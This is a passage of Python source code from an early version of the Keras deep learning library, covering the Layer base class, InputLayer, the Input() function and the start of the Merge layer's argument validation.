            output_tensors[i]._keras_history = (outbound_layer, len(outbound_layer.inbound_nodes), i)

        return cls(outbound_layer,
                   inbound_layers, node_indices, tensor_indices,
                   input_tensors, output_tensors,
                   input_masks, output_masks,
                   input_shapes, output_shapes)

    def get_config(self):
        inbound_names = []
        for layer in self.inbound_layers:
            if layer:
                inbound_names.append(layer.name)
            else:
                inbound_names.append(None)
        return {'outbound_layer': self.outbound_layer.name if self.outbound_layer else None,
                'inbound_layers': inbound_names,
                'node_indices': self.node_indices,
                'tensor_indices': self.tensor_indices}


class Layer(object):
    '''Abstract base layer class.

    # Properties
        name: string, must be unique within a model.
        input_spec: list of InputSpec class instances
            each entry describes one required input:
                - ndim
                - dtype
            A layer with `n` input tensors must have
            an `input_spec` of length `n`.
        trainable: boolean, whether the layer weights
            will be updated during training.
        uses_learning_phase: whether any operation
            of the layer uses `K.in_training_phase()`
            or `K.in_test_phase()`.
        input_shape: shape tuple. Provided for convenience,
            but note that there may be cases in which this
            attribute is ill-defined (e.g. a shared layer
            with multiple input shapes), in which case
            requesting `input_shape` will raise an Exception.
            Prefer using `layer.get_input_shape_for(input_shape)`,
            or `layer.get_input_shape_at(node_index)`.
        output_shape: shape tuple. See above.
        inbound_nodes: list of nodes.
        outbound_nodes: list of nodes.
        supports_masking: boolean
        input, output: input/output tensor(s). Note that if the layer is used
            more than once (shared layer), this is ill-defined
            and will raise an exception. In such cases, use
            `layer.get_input_at(node_index)`.
        input_mask, output_mask: same as above, for masks.

        trainable_weights: list of variables.
        non_trainable_weights: list of variables.
        regularizers: list of regularizers.
        constraints: dict mapping weights to constraints.

    # Methods
        call(x, mask=None): where the layer's logic lives.
        __call__(x, mask=None): wrapper around the layer logic (`call`).
            if x is a Keras tensor:
                - connect current layer with last layer from tensor:
                    `self.add_inbound_node(last_layer)`
                - add layer to tensor history
            if layer is not built:
                - build from x._keras_shape
        get_weights()
        set_weights(weights)
        get_config()
        count_params()
        get_output_shape_for(input_shape)
        compute_mask(x, mask)
        get_input_at(node_index)
        get_output_at(node_index)
        get_input_shape_at(node_index)
        get_output_shape_at(node_index)
        get_input_mask_at(node_index)
        get_output_mask_at(node_index)

    # Class Methods
        from_config(config)

    # Internal methods:
        build(input_shape)
        add_inbound_node(layer, index=0)
        create_input_layer()
        assert_input_compatibility()
    '''
    def __init__(self, **kwargs):
        # these properties should have been set
        # by the child class, as appropriate.
        if not hasattr(self, 'input_spec'):
            self.input_spec = None
        if not hasattr(self, 'supports_masking'):
            self.supports_masking = False
        if not hasattr(self, 'uses_learning_phase'):
            self.uses_learning_phase = False

        # these lists will be filled via successive calls
        # to self.add_inbound_node()
        self.inbound_nodes = []
        self.outbound_nodes = []

        # these properties will be set upon call of self.build(),
        # which itself will be called upon self.add_inbound_node if necessary.
        if not hasattr(self, 'trainable_weights'):
            self.trainable_weights = []
        if not hasattr(self, 'non_trainable_weights'):
            self.non_trainable_weights = []
        if not hasattr(self, 'regularizers'):
            self.regularizers = []
        if not hasattr(self, 'constraints'):
            self.constraints = {}  # dict {tensor: constraint instance}
        self.built = False

        # these properties should be set by the user via keyword arguments.
        # note that 'input_dtype', 'input_shape' and 'batch_input_shape'
        # are only applicable to input layers: do not pass these keywords
        # to non-input layers.
        allowed_kwargs = {'input_shape',
                          'batch_input_shape',
                          'input_dtype',
                          'name',
                          'trainable',
                          'create_input_layer'}
        for kwarg in kwargs.keys():
            assert kwarg in allowed_kwargs, 'Keyword argument not understood: ' + kwarg

        name = kwargs.get('name')
        if not name:
            prefix = self.__class__.__name__.lower()
            name = prefix + '_' + str(K.get_uid(prefix))
        self.name = name

        self.trainable = kwargs.get('trainable', True)
        if 'batch_input_shape' in kwargs or 'input_shape' in kwargs:
            # in this case we will create an input layer
            # to insert before the current layer
            if 'batch_input_shape' in kwargs:
                batch_input_shape = tuple(kwargs['batch_input_shape'])
            elif 'input_shape' in kwargs:
                batch_input_shape = (None,) + tuple(kwargs['input_shape'])
            self.batch_input_shape = batch_input_shape
            input_dtype = kwargs.get('input_dtype', K.floatx())
            self.input_dtype = input_dtype
            if 'create_input_layer' in kwargs:
                self.create_input_layer(batch_input_shape, input_dtype)

    @property
    def trainable_weights(self):
        trainable = getattr(self, 'trainable', True)
        if trainable:
            return self._trainable_weights
        else:
            return []

    @trainable_weights.setter
    def trainable_weights(self, weights):
        self._trainable_weights = weights

    @property
    def non_trainable_weights(self):
        trainable = getattr(self, 'trainable', True)
        if not trainable:
            return self._trainable_weights + self._non_trainable_weights
        else:
            return self._non_trainable_weights

    @non_trainable_weights.setter
    def non_trainable_weights(self, weights):
        self._non_trainable_weights = weights

    def create_input_layer(self, batch_input_shape,
                           input_dtype=None, name=None):
        if not name:
            prefix = self.__class__.__name__.lower() + '_input_'
            name = prefix + str(K.get_uid(prefix))
        if not input_dtype:
            input_dtype = K.floatx()

        self.batch_input_shape = batch_input_shape
        self.input_dtype = input_dtype

        # instantiate the input layer
        x = Input(batch_shape=batch_input_shape,
                  dtype=input_dtype, name=name)
        # this will build the current layer
        # and create the node connecting the current layer
        # to the input layer we just created.
        self(x)

    def assert_input_compatibility(self, input):
        '''This checks that the tensor(s) `input`
        verify the input assumptions of the layer
        (if any). If not, exceptions are raised.
        '''
        if not self.input_spec:
            return True
        assert type(self.input_spec) is list, ('input_spec must be a list of ' +
                                               'InputSpec instances. Found: ' +
                                               str(self.input_spec))
        inputs = to_list(input)
        if len(self.input_spec) > 1:
            if len(inputs) != len(self.input_spec):
                raise Exception('Layer ' + self.name + ' expects ' +
                                str(len(self.input_spec)) + ' inputs, '
                                'but it received ' + str(len(inputs)) +
                                ' input tensors. Input received: ' +
                                str(input))
        for input_index, (x, spec) in enumerate(zip(inputs, self.input_spec)):
            if spec is None:
                continue

            # check ndim
            if spec.ndim is not None:
                if type(spec.ndim) is str:
                    int_ndim = spec.ndim[:spec.ndim.find('+')]
                    ndim = int(int_ndim)
                    if K.ndim(x) < ndim:
                        raise Exception('Input ' + str(input_index) +
                                        ' is incompatible with layer ' +
                                        self.name + ': expected ndim >= ' +
                                        str(ndim) + ', found ndim=' +
                                        str(K.ndim(x)))
                else:
                    if K.ndim(x) != spec.ndim:
                        raise Exception('Input ' + str(input_index) +
                                        ' is incompatible with layer ' +
                                        self.name + ': expected ndim=' +
                                        str(spec.ndim) + ', found ndim=' +
                                        str(K.ndim(x)))
            if spec.dtype is not None:
                if K.dtype(x) != spec.dtype:
                    raise Exception('Input ' + str(input_index) +
                                    ' is incompatible with layer ' +
                                    self.name + ': expected dtype=' +
                                    str(spec.dtype) + ', found dtype=' +
                                    str(K.dtype(x)))
            if spec.shape is not None:
                if hasattr(x, '_keras_shape'):
                    x_shape = x._keras_shape
                elif hasattr(K, 'int_shape'):
                    # tensorflow shape inference
                    x_shape = K.int_shape(x)
                else:
                    continue
                for spec_dim, dim in zip(spec.shape, x_shape):
                    if spec_dim is not None:
                        if spec_dim != dim:
                            raise Exception('Input ' + str(input_index) +
                                            ' is incompatible with layer ' +
                                            self.name + ': expected shape=' +
                                            str(spec.shape) + ', found shape=' +
                                            str(x_shape))

    def call(self, x, mask=None):
        '''This is where the layer's logic lives.

        # Arguments
            x: input tensor, or list/tuple of input tensors.
            mask: a masking tensor (or list of tensors). Used mainly in RNNs.

        # Returns:
            A tensor or list/tuple of tensors.
        '''
        return x

    def __call__(self, x, mask=None):
        '''Wrapper around self.call(), for handling
        internal Keras references.

        If a Keras tensor is passed:
            - we call self.add_inbound_node()
            - if necessary, we `build` the layer to match
                the _keras_shape of the input(s)
            - we update the _keras_shape of every input tensor with
                its new shape (obtained via self.get_output_shape_for).
                This is done as part of add_inbound_node().
            - we update the _keras_history of the output tensor(s)
                with the current layer.
                This is done as part of add_inbound_node().

        # Arguments
            x: can be a tensor or list/tuple of tensors.
            mask: tensor or list/tuple of tensors.
        '''
        if not self.built:
            # raise exceptions in case the input is not compatible
            # with the input_spec specified in the layer constructor
            self.assert_input_compatibility(x)

            # collect input shapes to build layer
            input_shapes = []
            for x_elem in to_list(x):
                if hasattr(x_elem, '_keras_shape'):
                    input_shapes.append(x_elem._keras_shape)
                elif hasattr(K, 'int_shape'):
                    input_shapes.append(K.int_shape(x_elem))
                else:
                    raise Exception('You tried to call layer "' + self.name +
                                    '". This layer has no information'
                                    ' about its expected input shape, '
                                    'and thus cannot be built. '
                                    'You can build it manually via: '
                                    '`layer.build(batch_input_shape)`')
            if len(input_shapes) == 1:
                self.build(input_shapes[0])
            else:
                self.build(input_shapes)
            self.built = True

        # raise exceptions in case the input is not compatible
        # with the input_spec set at build time
        self.assert_input_compatibility(x)
        # build and connect layer
        input_added = False
        input_tensors = to_list(x)

        inbound_layers = []
        node_indices = []
        tensor_indices = []
        for input_tensor in input_tensors:
            if hasattr(input_tensor, '_keras_history') and input_tensor._keras_history:
                # this is a Keras tensor
                previous_layer, node_index, tensor_index = input_tensor._keras_history
                inbound_layers.append(previous_layer)
                node_indices.append(node_index)
                tensor_indices.append(tensor_index)
            else:
                inbound_layers = None
                break
        if inbound_layers:
            # this will call layer.build() if necessary
            self.add_inbound_node(inbound_layers, node_indices, tensor_indices)
            input_added = True

        # get the output tensor to be returned
        if input_added:
            # output was already computed when calling self.add_inbound_node
            outputs = self.inbound_nodes[-1].output_tensors
            # if single output tensor: return it,
            # else return a list (at least 2 elements)
            if len(outputs) == 1:
                return outputs[0]
            else:
                return outputs
        else:
            # this case appears if the input was not a Keras tensor
            return self.call(x, mask)

    def add_inbound_node(self, inbound_layers,
                         node_indices=None, tensor_indices=None):
        '''
        # Arguments:
            inbound_layers: can be a layer instance
                or a list/tuple of layer instances.
            node_indices: integer (or list of integers).
                The input layer might have a number of
                parallel output streams;
                this is the index of the stream (in the input layer)
                where to connect the current layer.
            tensor_indices: integer or list of integers.
                The output of the inbound node might be a list/tuple
                of tensor, and we might only be interested in one specific entry.
                This index allows you to specify the index of the entry in the output list
                (if applicable). "None" means that we take all outputs (as a list).
        '''
        inbound_layers = to_list(inbound_layers)
        if not node_indices:
            node_indices = [0 for _ in range(len(inbound_layers))]
        else:
            node_indices = to_list(node_indices)
            assert len(node_indices) == len(inbound_layers)
        if not tensor_indices:
            tensor_indices = [0 for _ in range(len(inbound_layers))]
        else:
            tensor_indices = to_list(tensor_indices)

        if not self.built:
            # collect input_shapes for call to build()
            input_shapes = []
            for layer, node_index, tensor_index in zip(inbound_layers, node_indices, tensor_indices):
                input_shapes.append(layer.inbound_nodes[node_index].output_shapes[tensor_index])
            # call build()
            if len(input_shapes) == 1:
                self.build(input_shape=input_shapes[0])
            else:
                self.build(input_shape=input_shapes)
            self.built = True
        # creating the node automatically updates self.inbound_nodes
        # as well as outbound_nodes on inbound layers.
        Node.create_node(self, inbound_layers, node_indices, tensor_indices)

    def get_output_shape_for(self, input_shape):
        '''Computes the output shape of the layer given
        an input shape (assumes that the layer will be built
        to match that input shape).

        # Arguments
            input_shape: shape tuple (tuple of integers)
                or list of shape tuples (one per output tensor of the layer).
                Shape tuples can include None for free dimensions,
                instead of an integer.
        '''
        return input_shape

    def compute_mask(self, input, input_mask=None):
        '''Computes an output masking tensor, given an input tensor
        (or list thereof) and an input mask (or list thereof).

        # Arguments
            input: tensor or list of tensors.
            input_mask: tensor or list of tensors.

        # Returns
            None or a tensor (or list of tensors,
                one per output tensor of the layer).
        '''
        if not hasattr(self, 'supports_masking') or not self.supports_masking:
            if input_mask is not None:
                if type(input_mask) is list:
                    if any(input_mask):
                        raise Exception('Layer ' + self.name + ' does not support masking, ' +
                                        'but was passed an input_mask: ' + str(input_mask))
                else:
                    raise Exception('Layer ' + self.name + ' does not support masking, ' +
                                    'but was passed an input_mask: ' + str(input_mask))
            # masking not explicitly supported: return None as mask
            return None
        # if masking is explictly supported, by default
        # carry over the input mask
        return input_mask

    def build(self, input_shape):
        '''Creates the layer weights.
        Must be implemented on all layers that have weights.

        # Arguments
            input_shape: Keras tensor (future input to layer)
                or list/tuple of Keras tensors to reference
                for weight shape computations.
        '''
        self.built = True

    def _get_node_attribute_at_index(self, node_index, attr, attr_name):
        '''Retrieves an attribute (e.g. input_tensors) from a node.

        # Arguments
            node_index: integer index of the node from which
                to retrieve the attribute
            attr: exact node attribute name
            attr_name: human-readable attribute name, for error messages
        '''
        if not self.inbound_nodes:
            raise Exception('The layer has never been called ' +
                            'and thus has no defined ' + attr_name + '.')
        if not len(self.inbound_nodes) > node_index:
            raise Exception('Asked to get ' + attr_name +
                            ' at node ' + str(node_index) +
                            ', but the layer has only ' +
                            str(len(self.inbound_nodes)) + ' inbound nodes.')
        values = getattr(self.inbound_nodes[node_index], attr)
        if len(values) == 1:
            return values[0]
        else:
            return values

    def get_input_shape_at(self, node_index):
        '''Retrieves the input shape(s) of a layer at a given node.
        '''
        return self._get_node_attribute_at_index(node_index,
                                                 'input_shapes',
                                                 'input shape')

    def get_output_shape_at(self, node_index):
        '''Retrieves the output shape(s) of a layer at a given node.
        '''
        return self._get_node_attribute_at_index(node_index,
                                                 'output_shapes',
                                                 'output shape')

    def get_input_at(self, node_index):
        '''Retrieves the input tensor(s) of a layer at a given node.
        '''
        return self._get_node_attribute_at_index(node_index,
                                                 'input_tensors',
                                                 'input')

    def get_output_at(self, node_index):
        '''Retrieves the output tensor(s) of a layer at a given node.
        '''
        return self._get_node_attribute_at_index(node_index,
                                                 'output_tensors',
                                                 'output')

    def get_input_mask_at(self, node_index):
        '''Retrieves the input mask tensor(s) of a layer at a given node.
        '''
        return self._get_node_attribute_at_index(node_index,
                                                 'input_masks',
                                                 'input mask')

    def get_output_mask_at(self, node_index):
        '''Retrieves the output mask tensor(s) of a layer at a given node.
        '''
        return self._get_node_attribute_at_index(node_index,
                                                 'output_masks',
                                                 'output mask')

    @property
    def input(self):
        '''Retrieves the input tensor(s) of a layer (only applicable if
        the layer has exactly one inbound node, i.e. if it is connected
        to one incoming layer).
        '''
        if len(self.inbound_nodes) > 1:
            raise Exception('Layer ' + self.name +
                            ' has multiple inbound nodes, ' +
                            'hence the notion of "layer input" '
                            'is ill-defined. '
                            'Use `get_input_at(node_index)` instead.')
        elif not self.inbound_nodes:
            raise Exception('Layer ' + self.name +
                            ' is not connected, no input to return.')
        return self._get_node_attribute_at_index(0, 'input_tensors',
                                                 'input')

    def set_input(self, input_tensor, shape=None):
        if len(self.inbound_nodes) > 1:
            raise Exception('Cannot `set_input` for layer ' + self.name +
                            ' because it has more than one inbound connection.')
        if len(self.inbound_nodes) == 1:
            # check that the inbound node is an Input node
            if self.inbound_nodes[0].inbound_layers:
                warnings.warn('You are manually setting the input for layer ' +
                              self.name + ' but it is not an Input layer. '
                              'This will cause part of your model '
                              'to be disconnected.')
        if self.outbound_nodes:
            warnings.warn('You are manually setting the input for layer ' +
                          self.name + ' but it has ' +
                          str(len(self.outbound_nodes)) +
                          ' outbound layers. '
                          'This will cause part of your model '
                          'to be disconnected.')
        if hasattr(K, 'int_shape'):
            # auto-infered shape takes priority
            shape = K.int_shape(input_tensor)
        elif not shape:
            raise Exception('`set_input` needs to know the shape '
                            'of the `input_tensor` it receives, but '
                            'Keras was not able to infer it automatically.'
                            ' Specify it via: '
                            '`model.set_input(input_tensor, shape)`')
        # reset layer connections
        self.inbound_nodes = []
        self.outbound_nodes = []
        input_shape = tuple(shape)
        self.build(input_shape=input_shape)

        # set Keras tensor metadata
        input_tensor._uses_learning_phase = False
        input_tensor._keras_history = (None, 0, 0)
        input_tensor._keras_shape = input_shape

        output_tensors = to_list(self.call(input_tensor))
        output_shapes = to_list(self.get_output_shape_for(input_shape))
        output_masks = to_list(self.compute_mask(input_tensor, None))

        for i, output_tensor in enumerate(output_tensors):
            output_tensor._keras_history = (self, 0, i)
            output_tensor._keras_shape = output_shapes[i]
            output_tensor._uses_learning_phase = self.uses_learning_phase

        # create node
        Node(self,
             inbound_layers=[],
             node_indices=[],
             tensor_indices=[],
             input_tensors=[input_tensor],
             output_tensors=output_tensors,
             input_masks=[None],
             output_masks=output_masks,
             input_shapes=[input_shape],
             output_shapes=output_shapes)

    @property
    def output(self):
        '''Retrieves the output tensor(s) of a layer (only applicable if
        the layer has exactly one inbound node, i.e. if it is connected
        to one incoming layer).
        '''
        if len(self.inbound_nodes) != 1:
            raise Exception('Layer ' + self.name +
                            ' has multiple inbound nodes, ' +
                            'hence the notion of "layer output" '
                            'is ill-defined. '
                            'Use `get_output_at(node_index)` instead.')
        return self._get_node_attribute_at_index(0, 'output_tensors',
                                                 'output')

    @property
    def input_mask(self):
        '''Retrieves the input mask tensor(s) of a layer (only applicable if
        the layer has exactly one inbound node, i.e. if it is connected
        to one incoming layer).
        '''
        if len(self.inbound_nodes) != 1:
            raise Exception('Layer ' + self.name +
                            ' has multiple inbound nodes, ' +
                            'hence the notion of "layer input mask" '
                            'is ill-defined. '
                            'Use `get_input_mask_at(node_index)` instead.')
        return self._get_node_attribute_at_index(0, 'input_masks',
                                                 'input mask')

    @property
    def output_mask(self):
        '''Retrieves the output mask tensor(s) of a layer (only applicable if
        the layer has exactly one inbound node, i.e. if it is connected
        to one incoming layer).
        '''
        if len(self.inbound_nodes) != 1:
            raise Exception('Layer ' + self.name +
                            ' has multiple inbound nodes, ' +
                            'hence the notion of "layer output mask" '
                            'is ill-defined. '
                            'Use `get_output_mask_at(node_index)` instead.')
        return self._get_node_attribute_at_index(0, 'output_masks',
                                                 'output mask')

    @property
    def input_shape(self):
        '''Retrieves the input shape tuple(s) of a layer. Only applicable
        if the layer has one inbound node,
        or if all inbound nodes have the same input shape.
        '''
        if not self.inbound_nodes:
            raise Exception('The layer has never been called ' +
                            'and thus has no defined input shape.')
        all_input_shapes = set([str(node.input_shapes) for node in self.inbound_nodes])
        if len(all_input_shapes) == 1:
            input_shapes = self.inbound_nodes[0].input_shapes
            if len(input_shapes) == 1:
                return input_shapes[0]
            else:
                return input_shapes
        else:
            raise Exception('The layer "' + str(self.name) +
                            ' has multiple inbound nodes, ' +
                            'with different input shapes. Hence ' +
                            'the notion of "input shape" is ' +
                            'ill-defined for the layer. ' +
                            'Use `get_input_shape_at(node_index)` instead.')

    @property
    def output_shape(self):
        '''Retrieves the output shape tuple(s) of a layer. Only applicable
        if the layer has one inbound node,
        or if all inbound nodes have the same output shape.
        '''
        if not self.inbound_nodes:
            raise Exception('The layer has never been called ' +
                            'and thus has no defined output shape.')
        all_output_shapes = set([str(node.output_shapes) for node in self.inbound_nodes])
        if len(all_output_shapes) == 1:
            output_shapes = self.inbound_nodes[0].output_shapes
            if len(output_shapes) == 1:
                return output_shapes[0]
            else:
                return output_shapes
        else:
            raise Exception('The layer "' + str(self.name) +
                            ' has multiple inbound nodes, ' +
                            'with different output shapes. Hence ' +
                            'the notion of "output shape" is ' +
                            'ill-defined for the layer. ' +
                            'Use `get_output_shape_at(node_index)` instead.')

    @property
    def weights(self):
        return self.trainable_weights + self.non_trainable_weights

    def set_weights(self, weights):
        '''Sets the weights of the layer, from Numpy arrays.

        # Arguments
            weights: a list of Numpy arrays. The number
                of arrays and their shape must match
                number of the dimensions of the weights
                of the layer (i.e. it should match the
                output of `get_weights`).
        '''
        params = self.weights
        if len(params) != len(weights):
            raise Exception('You called `set_weights(weights)` on layer "' + self.name +
                            '" with a  weight list of length ' + str(len(weights)) +
                            ', but the layer was expecting ' + str(len(params)) +
                            ' weights. Provided weights: ' + str(weights)[:50] + '...')
        if not params:
            return
        weight_value_tuples = []
        param_values = K.batch_get_value(params)
        for pv, p, w in zip(param_values, params, weights):
            if pv.shape != w.shape:
                raise Exception('Layer weight shape ' +
                                str(pv.shape) +
                                ' not compatible with '
                                'provided weight shape ' + str(w.shape))
            weight_value_tuples.append((p, w))
        K.batch_set_value(weight_value_tuples)

    def get_weights(self):
        '''Returns the current weights of the layer,
        as a list of numpy arrays.
        '''
        params = self.weights
        return K.batch_get_value(params)

    def get_config(self):
        '''Returns a Python dictionary (serializable)
        containing the configuration of a layer.
        The same layer can be reinstantiated later
        (without its trained weights) from this configuration.

        The config of a layer does not include connectivity
        information, nor the layer class name. These are handled
        by Container (one layer of abstraction above).
        '''
        config = {'name': self.name,
                  'trainable': self.trainable}
        if hasattr(self, 'batch_input_shape'):
            config['batch_input_shape'] = self.batch_input_shape
        if hasattr(self, 'input_dtype'):
            config['input_dtype'] = self.input_dtype
        return config

    @classmethod
    def from_config(cls, config):
        '''This method is the reverse of get_config,
        capable of instantiating the same layer from the config
        dictionary. It does not handle layer connectivity
        (handled by Container), nor weights (handled by `set_weights`).

        # Arguments
            config: a Python dictionary, typically the
                output of get_config.
        '''
        return cls(**config)

    def count_params(self):
        '''Returns the total number of floats (or ints)
        composing the weights of the layer.
        '''
        if not self.built:
            if self.__class__.__name__ in {'Sequential', 'Graph'}:
                self.build()
            else:
                raise Exception('You tried to call `count_params` on ' +
                                self.name + ', but the layer isn\'t built. '
                                'You can build it manually via: `' +
                                self.name + '.build(batch_input_shape)`.')
        return sum([K.count_params(p) for p in self.trainable_weights])


class InputLayer(Layer):
    '''TODO: dosctring
    '''
    def __init__(self, input_shape=None, batch_input_shape=None,
                 input_dtype=None, input_tensor=None, name=None):
        self.input_spec = None
        self.supports_masking = False
        self.uses_learning_phase = False
        self.trainable = False
        self.built = True
        self.trainable_weights = []
        self.non_trainable_weights = []

        self.inbound_nodes = []
        self.outbound_nodes = []

        self.trainable_weights = []
        self.non_trainable_weights = []
        self.regularizers = []
        self.constraints = {}

        if not name:
            prefix = 'input'
            name = prefix + '_' + str(K.get_uid(prefix))
        self.name = name

        if input_shape and batch_input_shape:
            raise ValueError('Only provide the input_shape OR '
                             'batch_input_shape argument to '
                             'InputLayer, not both at the same time.')
        if input_tensor is not None:
            if not input_shape and not batch_input_shape:
                # attempt automatic input shape inference
                try:
                    batch_input_shape = K.int_shape(input_tensor)
                except:
                    raise ValueError('InputLayer was provided an input_tensor argument, '
                                     'but its input shape cannot be automatically inferred. '
                                     'You should pass an input_shape or batch_input_shape '
                                     'argument.')
        if not batch_input_shape:
            if not input_shape:
                raise ValueError('An Input layer should be passed either '
                                 'a `batch_input_shape` or an `input_shape`.')
            else:
                batch_input_shape = (None,) + tuple(input_shape)
        else:
            batch_input_shape = tuple(batch_input_shape)

        if not input_dtype:
            if input_tensor is None:
                input_dtype = K.floatx()
            else:
                input_dtype = K.dtype(input_tensor)

        self.batch_input_shape = batch_input_shape
        self.input_dtype = input_dtype

        if input_tensor is None:
            input_tensor = K.placeholder(shape=batch_input_shape,
                                         dtype=input_dtype,
                                         name=self.name)
        else:
            input_tensor._keras_shape = batch_input_shape
        # create an input node to add to self.outbound_node
        # and set output_tensors' _keras_history
        input_tensor._uses_learning_phase = False
        input_tensor._keras_history = (self, 0, 0)
        Node(self,
             inbound_layers=[],
             node_indices=[],
             tensor_indices=[],
             input_tensors=[input_tensor],
             output_tensors=[input_tensor],
             input_masks=[None],
             output_masks=[None],
             input_shapes=[batch_input_shape],
             output_shapes=[batch_input_shape])

    def get_config(self):
        config = {'batch_input_shape': self.batch_input_shape,
                  'input_dtype': self.input_dtype,
                  'name': self.name}
        return config


def Input(shape=None, batch_shape=None,
          name=None, dtype=K.floatx(),
          tensor=None):
    '''`Input()` is used to instantiate a Keras tensor.
    A Keras tensor is a tensor object from the underlying backend
    (Theano or TensorFlow), which we augment with certain
    attributes that allow us to build a Keras model
    just by knowing the inputs and outputs of the model.

    For instance, if a, b and c and Keras tensors,
    it becomes possible to do:
    `model = Model(input=[a, b], output=c)`

    The added Keras attributes are:
        ._keras_shape: integer shape tuple propagated
            via Keras-side shape inference.
        ._keras_history: last layer applied to the tensor.
            the entire layer graph is retrievable from that layer,
            recursively.

    # Arguments
        shape: a shape tuple (integer), not including the batch size.
            For instance, `shape=(32,)` indicates that the expected input
            will be batches of 32-dimensional vectors.
        batch_shape: a shape tuple (integer), including the batch size.
            For instance, `batch_shape=(10, 32)` indicates that
            the expected input will be batches of 10 32-dimensional vectors.
            `batch_shape=(None, 32)` indicates batches of an arbitrary number
            of 32-dimensional vectors.
        name: An optional name string for the layer.
            Should be unique in a model (do not reuse the same name twice).
            It will be autogenerated if it isn't provided.
        dtype: The data type expected by the input, as a string
            (`float32`, `float64`, `int32`...)

    # Example usage

        ```python
        # this is a logistic regression in Keras
        a = Input(shape=(32,))
        b = Dense(16, activation='softmax')(a)
        model = Model(input=a, output=b)
        ```
    '''
    if not batch_shape and tensor is None:
        assert shape, ('Please provide to Input either a `shape`' +
                       ' or a `batch_shape` argument. Note that ' +
                       '`shape` does not include the batch '
                       'dimension.')
        batch_shape = (None,) + tuple(shape)
    input_layer = InputLayer(batch_input_shape=batch_shape,
                             name=name, input_dtype=dtype,
                             input_tensor=tensor)
    # return tensor including _keras_shape and _keras_history
    # note that in this case train_output and test_output are the same pointer.
    outputs = input_layer.inbound_nodes[0].output_tensors
    if len(outputs) == 1:
        return outputs[0]
    else:
        return outputs


class Merge(Layer):
    '''A `Merge` layer can be used to merge a list of tensors
    into a single tensor, following some merge `mode`.

    # Example usage

    ```python
    model1 = Sequential()
    model1.add(Dense(32))

    model2 = Sequential()
    model2.add(Dense(32))

    merged_model = Sequential()
    merged_model.add(Merge([model1, model2], mode='concat', concat_axis=1)
    # TODO: would this actually work? it needs to.
    # achieve this with get_source_inputs in Sequential.
    ```

    # Arguments
        layers: can be a list of Keras tensors or
            a list of layer instances. Must be more
            than one layer/tensor.
        mode: string or lambda/function. If string, must be one
            of: 'sum', 'mul', 'concat', 'ave', 'cos', 'dot', 'max'.
            If lambda/function, it should take as input a list of tensors
            and return a single tensor.
        concat_axis: integer, axis to use in mode `concat`.
        dot_axes: integer or tuple of integers, axes to use in mode `dot` or `cos`.
        output_shape: either a shape tuple (tuple of integers), or a lambda/function
            to compute `output_shape` (only if merge mode is a lambda/function).
            If the argument is a tuple,
            it should be expected output shape, *not* including the batch size
            (same convention as the `input_shape` argument in layers).
            If the argument is callable, it should take as input a list of shape tuples
            (1:1 mapping to input tensors) and return a single shape tuple, including the
            batch size (same convention as the `get_output_shape_for` method of layers).
        node_indices: optional list of integers containing
            the output node index for each input layer
            (in case some input layers have multiple output nodes).
            will default to an array of 0s if not provided.
        tensor_indices: optional list of indices of output tensors
            to consider for merging
            (in case some input layer node returns multiple tensors).
        output_mask: mask or lambda/function to compute the output mask (only
            if merge mode is a lambda/function). If the latter case, it should
            take as input a list of masks and return a single mask.
    '''
    def __init__(self, layers=None, mode='sum', concat_axis=-1,
                 dot_axes=-1, output_shape=None, output_mask=None,
                 node_indices=None, tensor_indices=None, name=None):
        self.layers = layers
        self.mode = mode
        self.concat_axis = concat_axis
        self.dot_axes = dot_axes
        self._output_shape = output_shape
        self.node_indices = node_indices
        self._output_mask = output_mask

        # layer parameters
        self.inbound_nodes = []
        self.outbound_nodes = []
        self.constraints = {}
        self.regularizers = []
        self.trainable_weights = []
        self.non_trainable_weights = []
        self.supports_masking = True
        self.uses_learning_phase = False
        self.input_spec = None  # compatible with whatever
        if not name:
            prefix = self.__class__.__name__.lower()
            name = prefix + '_' + str(K.get_uid(prefix))
        self.name = name

        if layers:
            # this exists for backwards compatibility.
            # equivalent to:
            # merge = Merge(layers=None)
            # output = merge([input_tensor_1, input_tensor_2])
            if not node_indices:
                # by default we connect to
                # the 1st output stream in the input layer
                node_indices = [0 for _ in range(len(layers))]
            self._arguments_validation(layers, mode,
                                       concat_axis, dot_axes,
                                       node_indices, tensor_indices)
            self.built = True
            self.add_inbound_node(layers, node_indices, tensor_indices)
        else:
            self.built = False

    def _arguments_validation(self, layers, mode, concat_axis, dot_axes,
                              node_indices, tensor_indices):
        '''Validates user-passed arguments and raises exceptions
        as appropriate.
        '''
        if not hasattr(mode, '__call__'):
            if mode not in {'sum', 'mul', 'concat', 'ave', 'cos', 'dot', 'max'}:
                raise Exception('Invalid merge mode: ' + str(mode))
        if type(layers) not in {list, tuple} or len(layers) < 2:
            raise Exception('A Merge should only be applied to a list of '
                            'layers with at least 2 elements. Found: ' + str(layers))

        if tensor_indices is None:
            tensor_indices = [None for _ in range(len(layers))]

        input_shapes = []
        for i, layer in enumerate(layers):
            layer_output_shape = layer.get_output_shape_at(node_indices[i])
            if type(layer_output_shape) is list:
                # case: the layer has multiple output tensors
                # and we only need a specific one
                layer_output_shape = layer_output_shape[tensor_indices[i]]
            input_shapes.append(layer_output_shape)

        if mode in {'sum', 'mul', 'ave', 'cos', 'max'}:
            input_shapes_set = set(input_shapes)
            if len(input_shapes_set) > 1:
                raise Exception('Only layers of same output shape can '
                                'be merged using ' + mode + ' mode. ' +
                                'Layer shapes: %s' % input_shapes)
        if mode in {'cos', 'dot'}:
            if len(layers) > 2:
                raise Exception(mode + ' merge takes exactly 2 layers')
            shape1 = input_shapes[0]
            shape2 = input_shapes[1]
            n1 = len(shape1)
            n2 = len(shape2)
            if type(dot_axes) == int:
                if dot_axes < 0:
                    self.dot_axes = [dot_axes % n1, dot_axes % n2]
                else:
                    self.dot_axes = [dot_axes, ] * 2
            if type(self.dot_axes) not in [list, tuple]:
                raise Exception('Invalid type for dot_axes - should be a list.')
            if len(self.dot_axes) != 2:
                raise Exception('Invalid format for dot_axes - should contain two elements.')
            if type(self.dot_axes[0]) is not int or type(self.dot_axes[1]) is not int:
                raise Exception('Invalid format for dot_axes - list elements should be "int".')
            if shape1[self.dot_axes[0]] != shape2[self.dot_axes[1]]:
                raise Exception('Dimension incompatibility using dot mode: ' +
                                '%s != %s. ' % (shape1[dot_axes[0]], shape2[dot_axes[1]]) +
                                'Layer shapes: %s, %s' % (shape1, shape2))
        elif mode == 'concat':
            reduced_inputs_shapes = [list(shape) for shape in input_shapes]
            shape_set = set()
            for i in range(len(reduced_inputs_shapes)):
                del reduced_inputs_shapes[i][self.concat_axis]
